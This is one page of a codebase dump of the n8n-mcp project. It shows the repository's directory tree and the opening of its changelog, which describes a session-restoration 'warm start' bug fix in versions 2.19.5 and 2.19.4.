This is page 46 of 48. Use http://codebase.md/czlonkowski/n8n-mcp?page={x} to view the full context.
# Directory Structure
```
├── _config.yml
├── .claude
│ └── agents
│ ├── code-reviewer.md
│ ├── context-manager.md
│ ├── debugger.md
│ ├── deployment-engineer.md
│ ├── mcp-backend-engineer.md
│ ├── n8n-mcp-tester.md
│ ├── technical-researcher.md
│ └── test-automator.md
├── .dockerignore
├── .env.docker
├── .env.example
├── .env.n8n.example
├── .env.test
├── .env.test.example
├── .github
│ ├── ABOUT.md
│ ├── BENCHMARK_THRESHOLDS.md
│ ├── FUNDING.yml
│ ├── gh-pages.yml
│ ├── secret_scanning.yml
│ └── workflows
│ ├── benchmark-pr.yml
│ ├── benchmark.yml
│ ├── docker-build-fast.yml
│ ├── docker-build-n8n.yml
│ ├── docker-build.yml
│ ├── release.yml
│ ├── test.yml
│ └── update-n8n-deps.yml
├── .gitignore
├── .npmignore
├── ATTRIBUTION.md
├── CHANGELOG.md
├── CLAUDE.md
├── codecov.yml
├── coverage.json
├── data
│ ├── .gitkeep
│ ├── nodes.db
│ ├── nodes.db-shm
│ ├── nodes.db-wal
│ └── templates.db
├── deploy
│ └── quick-deploy-n8n.sh
├── docker
│ ├── docker-entrypoint.sh
│ ├── n8n-mcp
│ ├── parse-config.js
│ └── README.md
├── docker-compose.buildkit.yml
├── docker-compose.extract.yml
├── docker-compose.n8n.yml
├── docker-compose.override.yml.example
├── docker-compose.test-n8n.yml
├── docker-compose.yml
├── Dockerfile
├── Dockerfile.railway
├── Dockerfile.test
├── docs
│ ├── AUTOMATED_RELEASES.md
│ ├── BENCHMARKS.md
│ ├── bugfix-onSessionCreated-event.md
│ ├── CHANGELOG.md
│ ├── CLAUDE_CODE_SETUP.md
│ ├── CLAUDE_INTERVIEW.md
│ ├── CODECOV_SETUP.md
│ ├── CODEX_SETUP.md
│ ├── CURSOR_SETUP.md
│ ├── DEPENDENCY_UPDATES.md
│ ├── DOCKER_README.md
│ ├── DOCKER_TROUBLESHOOTING.md
│ ├── FINAL_AI_VALIDATION_SPEC.md
│ ├── FLEXIBLE_INSTANCE_CONFIGURATION.md
│ ├── HTTP_DEPLOYMENT.md
│ ├── img
│ │ ├── cc_command.png
│ │ ├── cc_connected.png
│ │ ├── codex_connected.png
│ │ ├── cursor_tut.png
│ │ ├── Railway_api.png
│ │ ├── Railway_server_address.png
│ │ ├── vsc_ghcp_chat_agent_mode.png
│ │ ├── vsc_ghcp_chat_instruction_files.png
│ │ ├── vsc_ghcp_chat_thinking_tool.png
│ │ └── windsurf_tut.png
│ ├── INSTALLATION.md
│ ├── LIBRARY_USAGE.md
│ ├── local
│ │ ├── DEEP_DIVE_ANALYSIS_2025-10-02.md
│ │ ├── DEEP_DIVE_ANALYSIS_README.md
│ │ ├── Deep_dive_p1_p2.md
│ │ ├── integration-testing-plan.md
│ │ ├── integration-tests-phase1-summary.md
│ │ ├── N8N_AI_WORKFLOW_BUILDER_ANALYSIS.md
│ │ ├── P0_IMPLEMENTATION_PLAN.md
│ │ └── TEMPLATE_MINING_ANALYSIS.md
│ ├── MCP_ESSENTIALS_README.md
│ ├── MCP_QUICK_START_GUIDE.md
│ ├── MULTI_APP_INTEGRATION.md
│ ├── N8N_DEPLOYMENT.md
│ ├── RAILWAY_DEPLOYMENT.md
│ ├── README_CLAUDE_SETUP.md
│ ├── README.md
│ ├── tools-documentation-usage.md
│ ├── VS_CODE_PROJECT_SETUP.md
│ ├── WINDSURF_SETUP.md
│ └── workflow-diff-examples.md
├── examples
│ └── enhanced-documentation-demo.js
├── fetch_log.txt
├── IMPLEMENTATION_GUIDE.md
├── LICENSE
├── MEMORY_N8N_UPDATE.md
├── MEMORY_TEMPLATE_UPDATE.md
├── monitor_fetch.sh
├── MVP_DEPLOYMENT_PLAN.md
├── N8N_HTTP_STREAMABLE_SETUP.md
├── n8n-nodes.db
├── P0-R3-TEST-PLAN.md
├── package-lock.json
├── package.json
├── package.runtime.json
├── PRIVACY.md
├── railway.json
├── README.md
├── renovate.json
├── scripts
│ ├── analyze-optimization.sh
│ ├── audit-schema-coverage.ts
│ ├── build-optimized.sh
│ ├── compare-benchmarks.js
│ ├── demo-optimization.sh
│ ├── deploy-http.sh
│ ├── deploy-to-vm.sh
│ ├── export-webhook-workflows.ts
│ ├── extract-changelog.js
│ ├── extract-from-docker.js
│ ├── extract-nodes-docker.sh
│ ├── extract-nodes-simple.sh
│ ├── format-benchmark-results.js
│ ├── generate-benchmark-stub.js
│ ├── generate-detailed-reports.js
│ ├── generate-test-summary.js
│ ├── http-bridge.js
│ ├── mcp-http-client.js
│ ├── migrate-nodes-fts.ts
│ ├── migrate-tool-docs.ts
│ ├── n8n-docs-mcp.service
│ ├── nginx-n8n-mcp.conf
│ ├── prebuild-fts5.ts
│ ├── prepare-release.js
│ ├── publish-npm-quick.sh
│ ├── publish-npm.sh
│ ├── quick-test.ts
│ ├── run-benchmarks-ci.js
│ ├── sync-runtime-version.js
│ ├── test-ai-validation-debug.ts
│ ├── test-code-node-enhancements.ts
│ ├── test-code-node-fixes.ts
│ ├── test-docker-config.sh
│ ├── test-docker-fingerprint.ts
│ ├── test-docker-optimization.sh
│ ├── test-docker.sh
│ ├── test-empty-connection-validation.ts
│ ├── test-error-message-tracking.ts
│ ├── test-error-output-validation.ts
│ ├── test-error-validation.js
│ ├── test-essentials.ts
│ ├── test-expression-code-validation.ts
│ ├── test-expression-format-validation.js
│ ├── test-fts5-search.ts
│ ├── test-fuzzy-fix.ts
│ ├── test-fuzzy-simple.ts
│ ├── test-helpers-validation.ts
│ ├── test-http-search.ts
│ ├── test-http.sh
│ ├── test-jmespath-validation.ts
│ ├── test-multi-tenant-simple.ts
│ ├── test-multi-tenant.ts
│ ├── test-n8n-integration.sh
│ ├── test-node-info.js
│ ├── test-node-type-validation.ts
│ ├── test-nodes-base-prefix.ts
│ ├── test-operation-validation.ts
│ ├── test-optimized-docker.sh
│ ├── test-release-automation.js
│ ├── test-search-improvements.ts
│ ├── test-security.ts
│ ├── test-single-session.sh
│ ├── test-sqljs-triggers.ts
│ ├── test-telemetry-debug.ts
│ ├── test-telemetry-direct.ts
│ ├── test-telemetry-env.ts
│ ├── test-telemetry-integration.ts
│ ├── test-telemetry-no-select.ts
│ ├── test-telemetry-security.ts
│ ├── test-telemetry-simple.ts
│ ├── test-typeversion-validation.ts
│ ├── test-url-configuration.ts
│ ├── test-user-id-persistence.ts
│ ├── test-webhook-validation.ts
│ ├── test-workflow-insert.ts
│ ├── test-workflow-sanitizer.ts
│ ├── test-workflow-tracking-debug.ts
│ ├── update-and-publish-prep.sh
│ ├── update-n8n-deps.js
│ ├── update-readme-version.js
│ ├── vitest-benchmark-json-reporter.js
│ └── vitest-benchmark-reporter.ts
├── SECURITY.md
├── src
│ ├── config
│ │ └── n8n-api.ts
│ ├── data
│ │ └── canonical-ai-tool-examples.json
│ ├── database
│ │ ├── database-adapter.ts
│ │ ├── migrations
│ │ │ └── add-template-node-configs.sql
│ │ ├── node-repository.ts
│ │ ├── nodes.db
│ │ ├── schema-optimized.sql
│ │ └── schema.sql
│ ├── errors
│ │ └── validation-service-error.ts
│ ├── http-server-single-session.ts
│ ├── http-server.ts
│ ├── index.ts
│ ├── loaders
│ │ └── node-loader.ts
│ ├── mappers
│ │ └── docs-mapper.ts
│ ├── mcp
│ │ ├── handlers-n8n-manager.ts
│ │ ├── handlers-workflow-diff.ts
│ │ ├── index.ts
│ │ ├── server.ts
│ │ ├── stdio-wrapper.ts
│ │ ├── tool-docs
│ │ │ ├── configuration
│ │ │ │ ├── get-node-as-tool-info.ts
│ │ │ │ ├── get-node-documentation.ts
│ │ │ │ ├── get-node-essentials.ts
│ │ │ │ ├── get-node-info.ts
│ │ │ │ ├── get-property-dependencies.ts
│ │ │ │ ├── index.ts
│ │ │ │ └── search-node-properties.ts
│ │ │ ├── discovery
│ │ │ │ ├── get-database-statistics.ts
│ │ │ │ ├── index.ts
│ │ │ │ ├── list-ai-tools.ts
│ │ │ │ ├── list-nodes.ts
│ │ │ │ └── search-nodes.ts
│ │ │ ├── guides
│ │ │ │ ├── ai-agents-guide.ts
│ │ │ │ └── index.ts
│ │ │ ├── index.ts
│ │ │ ├── system
│ │ │ │ ├── index.ts
│ │ │ │ ├── n8n-diagnostic.ts
│ │ │ │ ├── n8n-health-check.ts
│ │ │ │ ├── n8n-list-available-tools.ts
│ │ │ │ └── tools-documentation.ts
│ │ │ ├── templates
│ │ │ │ ├── get-template.ts
│ │ │ │ ├── get-templates-for-task.ts
│ │ │ │ ├── index.ts
│ │ │ │ ├── list-node-templates.ts
│ │ │ │ ├── list-tasks.ts
│ │ │ │ ├── search-templates-by-metadata.ts
│ │ │ │ └── search-templates.ts
│ │ │ ├── types.ts
│ │ │ ├── validation
│ │ │ │ ├── index.ts
│ │ │ │ ├── validate-node-minimal.ts
│ │ │ │ ├── validate-node-operation.ts
│ │ │ │ ├── validate-workflow-connections.ts
│ │ │ │ ├── validate-workflow-expressions.ts
│ │ │ │ └── validate-workflow.ts
│ │ │ └── workflow_management
│ │ │ ├── index.ts
│ │ │ ├── n8n-autofix-workflow.ts
│ │ │ ├── n8n-create-workflow.ts
│ │ │ ├── n8n-delete-execution.ts
│ │ │ ├── n8n-delete-workflow.ts
│ │ │ ├── n8n-get-execution.ts
│ │ │ ├── n8n-get-workflow-details.ts
│ │ │ ├── n8n-get-workflow-minimal.ts
│ │ │ ├── n8n-get-workflow-structure.ts
│ │ │ ├── n8n-get-workflow.ts
│ │ │ ├── n8n-list-executions.ts
│ │ │ ├── n8n-list-workflows.ts
│ │ │ ├── n8n-trigger-webhook-workflow.ts
│ │ │ ├── n8n-update-full-workflow.ts
│ │ │ ├── n8n-update-partial-workflow.ts
│ │ │ └── n8n-validate-workflow.ts
│ │ ├── tools-documentation.ts
│ │ ├── tools-n8n-friendly.ts
│ │ ├── tools-n8n-manager.ts
│ │ ├── tools.ts
│ │ └── workflow-examples.ts
│ ├── mcp-engine.ts
│ ├── mcp-tools-engine.ts
│ ├── n8n
│ │ ├── MCPApi.credentials.ts
│ │ └── MCPNode.node.ts
│ ├── parsers
│ │ ├── node-parser.ts
│ │ ├── property-extractor.ts
│ │ └── simple-parser.ts
│ ├── scripts
│ │ ├── debug-http-search.ts
│ │ ├── extract-from-docker.ts
│ │ ├── fetch-templates-robust.ts
│ │ ├── fetch-templates.ts
│ │ ├── rebuild-database.ts
│ │ ├── rebuild-optimized.ts
│ │ ├── rebuild.ts
│ │ ├── sanitize-templates.ts
│ │ ├── seed-canonical-ai-examples.ts
│ │ ├── test-autofix-documentation.ts
│ │ ├── test-autofix-workflow.ts
│ │ ├── test-execution-filtering.ts
│ │ ├── test-node-suggestions.ts
│ │ ├── test-protocol-negotiation.ts
│ │ ├── test-summary.ts
│ │ ├── test-webhook-autofix.ts
│ │ ├── validate.ts
│ │ └── validation-summary.ts
│ ├── services
│ │ ├── ai-node-validator.ts
│ │ ├── ai-tool-validators.ts
│ │ ├── confidence-scorer.ts
│ │ ├── config-validator.ts
│ │ ├── enhanced-config-validator.ts
│ │ ├── example-generator.ts
│ │ ├── execution-processor.ts
│ │ ├── expression-format-validator.ts
│ │ ├── expression-validator.ts
│ │ ├── n8n-api-client.ts
│ │ ├── n8n-validation.ts
│ │ ├── node-documentation-service.ts
│ │ ├── node-similarity-service.ts
│ │ ├── node-specific-validators.ts
│ │ ├── operation-similarity-service.ts
│ │ ├── property-dependencies.ts
│ │ ├── property-filter.ts
│ │ ├── resource-similarity-service.ts
│ │ ├── sqlite-storage-service.ts
│ │ ├── task-templates.ts
│ │ ├── universal-expression-validator.ts
│ │ ├── workflow-auto-fixer.ts
│ │ ├── workflow-diff-engine.ts
│ │ └── workflow-validator.ts
│ ├── telemetry
│ │ ├── batch-processor.ts
│ │ ├── config-manager.ts
│ │ ├── early-error-logger.ts
│ │ ├── error-sanitization-utils.ts
│ │ ├── error-sanitizer.ts
│ │ ├── event-tracker.ts
│ │ ├── event-validator.ts
│ │ ├── index.ts
│ │ ├── performance-monitor.ts
│ │ ├── rate-limiter.ts
│ │ ├── startup-checkpoints.ts
│ │ ├── telemetry-error.ts
│ │ ├── telemetry-manager.ts
│ │ ├── telemetry-types.ts
│ │ └── workflow-sanitizer.ts
│ ├── templates
│ │ ├── batch-processor.ts
│ │ ├── metadata-generator.ts
│ │ ├── README.md
│ │ ├── template-fetcher.ts
│ │ ├── template-repository.ts
│ │ └── template-service.ts
│ ├── types
│ │ ├── index.ts
│ │ ├── instance-context.ts
│ │ ├── n8n-api.ts
│ │ ├── node-types.ts
│ │ ├── session-restoration.ts
│ │ └── workflow-diff.ts
│ └── utils
│ ├── auth.ts
│ ├── bridge.ts
│ ├── cache-utils.ts
│ ├── console-manager.ts
│ ├── documentation-fetcher.ts
│ ├── enhanced-documentation-fetcher.ts
│ ├── error-handler.ts
│ ├── example-generator.ts
│ ├── fixed-collection-validator.ts
│ ├── logger.ts
│ ├── mcp-client.ts
│ ├── n8n-errors.ts
│ ├── node-source-extractor.ts
│ ├── node-type-normalizer.ts
│ ├── node-type-utils.ts
│ ├── node-utils.ts
│ ├── npm-version-checker.ts
│ ├── protocol-version.ts
│ ├── simple-cache.ts
│ ├── ssrf-protection.ts
│ ├── template-node-resolver.ts
│ ├── template-sanitizer.ts
│ ├── url-detector.ts
│ ├── validation-schemas.ts
│ └── version.ts
├── supabase-telemetry-aggregation.sql
├── TELEMETRY_PRUNING_GUIDE.md
├── telemetry-pruning-analysis.md
├── test-output.txt
├── test-reinit-fix.sh
├── tests
│ ├── __snapshots__
│ │ └── .gitkeep
│ ├── auth.test.ts
│ ├── benchmarks
│ │ ├── database-queries.bench.ts
│ │ ├── index.ts
│ │ ├── mcp-tools.bench.ts
│ │ ├── mcp-tools.bench.ts.disabled
│ │ ├── mcp-tools.bench.ts.skip
│ │ ├── node-loading.bench.ts.disabled
│ │ ├── README.md
│ │ ├── search-operations.bench.ts.disabled
│ │ └── validation-performance.bench.ts.disabled
│ ├── bridge.test.ts
│ ├── comprehensive-extraction-test.js
│ ├── data
│ │ └── .gitkeep
│ ├── debug-slack-doc.js
│ ├── demo-enhanced-documentation.js
│ ├── docker-tests-README.md
│ ├── error-handler.test.ts
│ ├── examples
│ │ └── using-database-utils.test.ts
│ ├── extracted-nodes-db
│ │ ├── database-import.json
│ │ ├── extraction-report.json
│ │ ├── insert-nodes.sql
│ │ ├── n8n-nodes-base__Airtable.json
│ │ ├── n8n-nodes-base__Discord.json
│ │ ├── n8n-nodes-base__Function.json
│ │ ├── n8n-nodes-base__HttpRequest.json
│ │ ├── n8n-nodes-base__If.json
│ │ ├── n8n-nodes-base__Slack.json
│ │ ├── n8n-nodes-base__SplitInBatches.json
│ │ └── n8n-nodes-base__Webhook.json
│ ├── factories
│ │ ├── node-factory.ts
│ │ └── property-definition-factory.ts
│ ├── fixtures
│ │ ├── .gitkeep
│ │ ├── database
│ │ │ └── test-nodes.json
│ │ ├── factories
│ │ │ ├── node.factory.ts
│ │ │ └── parser-node.factory.ts
│ │ └── template-configs.ts
│ ├── helpers
│ │ └── env-helpers.ts
│ ├── http-server-auth.test.ts
│ ├── integration
│ │ ├── ai-validation
│ │ │ ├── ai-agent-validation.test.ts
│ │ │ ├── ai-tool-validation.test.ts
│ │ │ ├── chat-trigger-validation.test.ts
│ │ │ ├── e2e-validation.test.ts
│ │ │ ├── helpers.ts
│ │ │ ├── llm-chain-validation.test.ts
│ │ │ ├── README.md
│ │ │ └── TEST_REPORT.md
│ │ ├── ci
│ │ │ └── database-population.test.ts
│ │ ├── database
│ │ │ ├── connection-management.test.ts
│ │ │ ├── empty-database.test.ts
│ │ │ ├── fts5-search.test.ts
│ │ │ ├── node-fts5-search.test.ts
│ │ │ ├── node-repository.test.ts
│ │ │ ├── performance.test.ts
│ │ │ ├── template-node-configs.test.ts
│ │ │ ├── template-repository.test.ts
│ │ │ ├── test-utils.ts
│ │ │ └── transactions.test.ts
│ │ ├── database-integration.test.ts
│ │ ├── docker
│ │ │ ├── docker-config.test.ts
│ │ │ ├── docker-entrypoint.test.ts
│ │ │ └── test-helpers.ts
│ │ ├── flexible-instance-config.test.ts
│ │ ├── mcp
│ │ │ └── template-examples-e2e.test.ts
│ │ ├── mcp-protocol
│ │ │ ├── basic-connection.test.ts
│ │ │ ├── error-handling.test.ts
│ │ │ ├── performance.test.ts
│ │ │ ├── protocol-compliance.test.ts
│ │ │ ├── README.md
│ │ │ ├── session-management.test.ts
│ │ │ ├── test-helpers.ts
│ │ │ ├── tool-invocation.test.ts
│ │ │ └── workflow-error-validation.test.ts
│ │ ├── msw-setup.test.ts
│ │ ├── n8n-api
│ │ │ ├── executions
│ │ │ │ ├── delete-execution.test.ts
│ │ │ │ ├── get-execution.test.ts
│ │ │ │ ├── list-executions.test.ts
│ │ │ │ └── trigger-webhook.test.ts
│ │ │ ├── scripts
│ │ │ │ └── cleanup-orphans.ts
│ │ │ ├── system
│ │ │ │ ├── diagnostic.test.ts
│ │ │ │ ├── health-check.test.ts
│ │ │ │ └── list-tools.test.ts
│ │ │ ├── test-connection.ts
│ │ │ ├── types
│ │ │ │ └── mcp-responses.ts
│ │ │ ├── utils
│ │ │ │ ├── cleanup-helpers.ts
│ │ │ │ ├── credentials.ts
│ │ │ │ ├── factories.ts
│ │ │ │ ├── fixtures.ts
│ │ │ │ ├── mcp-context.ts
│ │ │ │ ├── n8n-client.ts
│ │ │ │ ├── node-repository.ts
│ │ │ │ ├── response-types.ts
│ │ │ │ ├── test-context.ts
│ │ │ │ └── webhook-workflows.ts
│ │ │ └── workflows
│ │ │ ├── autofix-workflow.test.ts
│ │ │ ├── create-workflow.test.ts
│ │ │ ├── delete-workflow.test.ts
│ │ │ ├── get-workflow-details.test.ts
│ │ │ ├── get-workflow-minimal.test.ts
│ │ │ ├── get-workflow-structure.test.ts
│ │ │ ├── get-workflow.test.ts
│ │ │ ├── list-workflows.test.ts
│ │ │ ├── smart-parameters.test.ts
│ │ │ ├── update-partial-workflow.test.ts
│ │ │ ├── update-workflow.test.ts
│ │ │ └── validate-workflow.test.ts
│ │ ├── security
│ │ │ ├── command-injection-prevention.test.ts
│ │ │ └── rate-limiting.test.ts
│ │ ├── session
│ │ │ └── test-onSessionCreated-event.ts
│ │ ├── session-lifecycle-retry.test.ts
│ │ ├── session-persistence.test.ts
│ │ ├── session-restoration-warmstart.test.ts
│ │ ├── setup
│ │ │ ├── integration-setup.ts
│ │ │ └── msw-test-server.ts
│ │ ├── telemetry
│ │ │ ├── docker-user-id-stability.test.ts
│ │ │ └── mcp-telemetry.test.ts
│ │ ├── templates
│ │ │ └── metadata-operations.test.ts
│ │ └── workflow-creation-node-type-format.test.ts
│ ├── logger.test.ts
│ ├── MOCKING_STRATEGY.md
│ ├── mocks
│ │ ├── n8n-api
│ │ │ ├── data
│ │ │ │ ├── credentials.ts
│ │ │ │ ├── executions.ts
│ │ │ │ └── workflows.ts
│ │ │ ├── handlers.ts
│ │ │ └── index.ts
│ │ └── README.md
│ ├── node-storage-export.json
│ ├── setup
│ │ ├── global-setup.ts
│ │ ├── msw-setup.ts
│ │ ├── TEST_ENV_DOCUMENTATION.md
│ │ └── test-env.ts
│ ├── test-database-extraction.js
│ ├── test-direct-extraction.js
│ ├── test-enhanced-documentation.js
│ ├── test-enhanced-integration.js
│ ├── test-mcp-extraction.js
│ ├── test-mcp-server-extraction.js
│ ├── test-mcp-tools-integration.js
│ ├── test-node-documentation-service.js
│ ├── test-node-list.js
│ ├── test-package-info.js
│ ├── test-parsing-operations.js
│ ├── test-slack-node-complete.js
│ ├── test-small-rebuild.js
│ ├── test-sqlite-search.js
│ ├── test-storage-system.js
│ ├── unit
│ │ ├── __mocks__
│ │ │ ├── n8n-nodes-base.test.ts
│ │ │ ├── n8n-nodes-base.ts
│ │ │ └── README.md
│ │ ├── database
│ │ │ ├── __mocks__
│ │ │ │ └── better-sqlite3.ts
│ │ │ ├── database-adapter-unit.test.ts
│ │ │ ├── node-repository-core.test.ts
│ │ │ ├── node-repository-operations.test.ts
│ │ │ ├── node-repository-outputs.test.ts
│ │ │ ├── README.md
│ │ │ └── template-repository-core.test.ts
│ │ ├── docker
│ │ │ ├── config-security.test.ts
│ │ │ ├── edge-cases.test.ts
│ │ │ ├── parse-config.test.ts
│ │ │ └── serve-command.test.ts
│ │ ├── errors
│ │ │ └── validation-service-error.test.ts
│ │ ├── examples
│ │ │ └── using-n8n-nodes-base-mock.test.ts
│ │ ├── flexible-instance-security-advanced.test.ts
│ │ ├── flexible-instance-security.test.ts
│ │ ├── http-server
│ │ │ └── multi-tenant-support.test.ts
│ │ ├── http-server-n8n-mode.test.ts
│ │ ├── http-server-n8n-reinit.test.ts
│ │ ├── http-server-session-management.test.ts
│ │ ├── loaders
│ │ │ └── node-loader.test.ts
│ │ ├── mappers
│ │ │ └── docs-mapper.test.ts
│ │ ├── mcp
│ │ │ ├── get-node-essentials-examples.test.ts
│ │ │ ├── handlers-n8n-manager-simple.test.ts
│ │ │ ├── handlers-n8n-manager.test.ts
│ │ │ ├── handlers-workflow-diff.test.ts
│ │ │ ├── lru-cache-behavior.test.ts
│ │ │ ├── multi-tenant-tool-listing.test.ts.disabled
│ │ │ ├── parameter-validation.test.ts
│ │ │ ├── search-nodes-examples.test.ts
│ │ │ ├── tools-documentation.test.ts
│ │ │ └── tools.test.ts
│ │ ├── monitoring
│ │ │ └── cache-metrics.test.ts
│ │ ├── MULTI_TENANT_TEST_COVERAGE.md
│ │ ├── multi-tenant-integration.test.ts
│ │ ├── parsers
│ │ │ ├── node-parser-outputs.test.ts
│ │ │ ├── node-parser.test.ts
│ │ │ ├── property-extractor.test.ts
│ │ │ └── simple-parser.test.ts
│ │ ├── scripts
│ │ │ └── fetch-templates-extraction.test.ts
│ │ ├── services
│ │ │ ├── ai-node-validator.test.ts
│ │ │ ├── ai-tool-validators.test.ts
│ │ │ ├── confidence-scorer.test.ts
│ │ │ ├── config-validator-basic.test.ts
│ │ │ ├── config-validator-edge-cases.test.ts
│ │ │ ├── config-validator-node-specific.test.ts
│ │ │ ├── config-validator-security.test.ts
│ │ │ ├── debug-validator.test.ts
│ │ │ ├── enhanced-config-validator-integration.test.ts
│ │ │ ├── enhanced-config-validator-operations.test.ts
│ │ │ ├── enhanced-config-validator.test.ts
│ │ │ ├── example-generator.test.ts
│ │ │ ├── execution-processor.test.ts
│ │ │ ├── expression-format-validator.test.ts
│ │ │ ├── expression-validator-edge-cases.test.ts
│ │ │ ├── expression-validator.test.ts
│ │ │ ├── fixed-collection-validation.test.ts
│ │ │ ├── loop-output-edge-cases.test.ts
│ │ │ ├── n8n-api-client.test.ts
│ │ │ ├── n8n-validation.test.ts
│ │ │ ├── node-similarity-service.test.ts
│ │ │ ├── node-specific-validators.test.ts
│ │ │ ├── operation-similarity-service-comprehensive.test.ts
│ │ │ ├── operation-similarity-service.test.ts
│ │ │ ├── property-dependencies.test.ts
│ │ │ ├── property-filter-edge-cases.test.ts
│ │ │ ├── property-filter.test.ts
│ │ │ ├── resource-similarity-service-comprehensive.test.ts
│ │ │ ├── resource-similarity-service.test.ts
│ │ │ ├── task-templates.test.ts
│ │ │ ├── template-service.test.ts
│ │ │ ├── universal-expression-validator.test.ts
│ │ │ ├── validation-fixes.test.ts
│ │ │ ├── workflow-auto-fixer.test.ts
│ │ │ ├── workflow-diff-engine.test.ts
│ │ │ ├── workflow-fixed-collection-validation.test.ts
│ │ │ ├── workflow-validator-comprehensive.test.ts
│ │ │ ├── workflow-validator-edge-cases.test.ts
│ │ │ ├── workflow-validator-error-outputs.test.ts
│ │ │ ├── workflow-validator-expression-format.test.ts
│ │ │ ├── workflow-validator-loops-simple.test.ts
│ │ │ ├── workflow-validator-loops.test.ts
│ │ │ ├── workflow-validator-mocks.test.ts
│ │ │ ├── workflow-validator-performance.test.ts
│ │ │ ├── workflow-validator-with-mocks.test.ts
│ │ │ └── workflow-validator.test.ts
│ │ ├── session-lifecycle-events.test.ts
│ │ ├── session-management-api.test.ts
│ │ ├── session-restoration-retry.test.ts
│ │ ├── session-restoration.test.ts
│ │ ├── telemetry
│ │ │ ├── batch-processor.test.ts
│ │ │ ├── config-manager.test.ts
│ │ │ ├── event-tracker.test.ts
│ │ │ ├── event-validator.test.ts
│ │ │ ├── rate-limiter.test.ts
│ │ │ ├── telemetry-error.test.ts
│ │ │ ├── telemetry-manager.test.ts
│ │ │ ├── v2.18.3-fixes-verification.test.ts
│ │ │ └── workflow-sanitizer.test.ts
│ │ ├── templates
│ │ │ ├── batch-processor.test.ts
│ │ │ ├── metadata-generator.test.ts
│ │ │ ├── template-repository-metadata.test.ts
│ │ │ └── template-repository-security.test.ts
│ │ ├── test-env-example.test.ts
│ │ ├── test-infrastructure.test.ts
│ │ ├── types
│ │ │ ├── instance-context-coverage.test.ts
│ │ │ └── instance-context-multi-tenant.test.ts
│ │ ├── utils
│ │ │ ├── auth-timing-safe.test.ts
│ │ │ ├── cache-utils.test.ts
│ │ │ ├── console-manager.test.ts
│ │ │ ├── database-utils.test.ts
│ │ │ ├── fixed-collection-validator.test.ts
│ │ │ ├── n8n-errors.test.ts
│ │ │ ├── node-type-normalizer.test.ts
│ │ │ ├── node-type-utils.test.ts
│ │ │ ├── node-utils.test.ts
│ │ │ ├── simple-cache-memory-leak-fix.test.ts
│ │ │ ├── ssrf-protection.test.ts
│ │ │ └── template-node-resolver.test.ts
│ │ └── validation-fixes.test.ts
│ └── utils
│ ├── assertions.ts
│ ├── builders
│ │ └── workflow.builder.ts
│ ├── data-generators.ts
│ ├── database-utils.ts
│ ├── README.md
│ └── test-helpers.ts
├── thumbnail.png
├── tsconfig.build.json
├── tsconfig.json
├── types
│ ├── mcp.d.ts
│ └── test-env.d.ts
├── verify-telemetry-fix.js
├── versioned-nodes.md
├── vitest.config.benchmark.ts
├── vitest.config.integration.ts
└── vitest.config.ts
```
# Files
--------------------------------------------------------------------------------
/CHANGELOG.md:
--------------------------------------------------------------------------------
```markdown
# Changelog
All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [2.19.5] - 2025-10-13
### 🐛 Critical Bug Fixes
**Session Restoration Handshake (P0 - CRITICAL)**
Fixes critical bug in session restoration where synthetic MCP initialization had no HTTP connection to respond through, causing timeouts. Implements warm start pattern that handles the current request immediately.
#### Fixed
- **Synthetic MCP Initialization Failed Due to Missing HTTP Context**
- **Issue**: v2.19.4's `initializeMCPServerForSession()` attempted to synthetically initialize restored MCP servers, but had no active HTTP req/res pair to send responses through, causing all restoration attempts to timeout
- **Impact**: Session restoration completely broken - zero-downtime deployments non-functional
- **Severity**: CRITICAL - v2.19.4 introduced a regression that broke session restoration
- **Root Cause**:
- `StreamableHTTPServerTransport` requires a live HTTP req/res pair to send responses
- Synthetic initialization called `server.request()` but had no transport attached to current request
- Transport's `_initialized` flag stayed false because no actual GET/POST went through it
- Retrying with backoff didn't help - the transport had nothing to talk to
- **Fix Applied**:
- **Deleted broken synthetic initialization method** (`initializeMCPServerForSession()`)
- **Implemented warm start pattern**:
1. Restore session by calling existing `createSession()` with restored context
2. Immediately handle current request through new transport: `transport.handleRequest(req, res, req.body)`
3. Client receives standard MCP error `-32000` (Server not initialized)
4. Client auto-retries with initialize on same connection (standard MCP behavior)
5. Session fully restored and client continues normally
- **Added idempotency guards** to prevent concurrent restoration from creating duplicate sessions
- **Added cleanup on failure** to remove sessions when restoration fails
- **Added early return** after handling request to prevent double processing
- **Location**: `src/http-server-single-session.ts:1118-1247` (simplified restoration flow)
- **Tests Added**: `tests/integration/session-restoration-warmstart.test.ts` (11 comprehensive tests)
- **Documentation**: `docs/MULTI_APP_INTEGRATION.md` (warm start behavior explained)
#### Technical Details
**Warm Start Pattern Flow:**
1. Client sends request with unknown session ID (after restart)
2. Server detects unknown session, calls `onSessionNotFound` hook
3. Hook loads session context from database
4. Server creates session using existing `createSession()` flow
5. Server immediately handles current request through new transport
6. Client receives `-32000` error, auto-retries with initialize
7. Session fully restored, client continues normally
**Benefits:**
- **Zero client changes**: Standard MCP clients auto-retry on -32000
- **Single HTTP round-trip**: No extra network requests needed
- **Concurrent-safe**: Idempotency guards prevent race conditions
- **Automatic cleanup**: Failed restorations clean up resources
- **Standard MCP**: Uses official error code, not custom solutions
**Code Changes:**
```typescript
// Before (v2.19.4 - BROKEN):
await server.connect(transport);
await this.initializeMCPServerForSession(sessionId, server, context); // NO req/res to respond!
// After (v2.19.5 - WORKING):
this.createSession(restoredContext, sessionId, false);
transport = this.transports[sessionId];
await transport.handleRequest(req, res, req.body); // Handle current request immediately
return; // Early return prevents double processing
```
#### Migration Notes
This is a **patch release** with no breaking changes:
- No API changes to public interfaces
- Existing session restoration hooks work unchanged
- Internal implementation simplified (80 fewer lines of code)
- Session restoration now works correctly with standard MCP protocol
#### Files Changed
- `src/http-server-single-session.ts`: Deleted synthetic init, implemented warm start (lines 1118-1247)
- `tests/integration/session-restoration-warmstart.test.ts`: New integration tests (11 tests)
- `docs/MULTI_APP_INTEGRATION.md`: Documentation for warm start pattern
- `package.json`, `package.runtime.json`: Version bump to 2.19.5
## [2.19.4] - 2025-10-13
### 🐛 Critical Bug Fixes
**MCP Server Initialization for Restored Sessions (P0 - CRITICAL)**
Completes the session restoration feature by initializing MCP server instances for restored sessions, enabling tool calls to work after server restart.
#### Fixed
- **MCP Server Not Initialized During Session Restoration**
- **Issue**: Session restoration successfully restored InstanceContext (v2.19.0) and transport layer (v2.19.3), but failed to initialize the MCP Server instance, causing all tool calls on restored sessions to fail with "Server not initialized" error
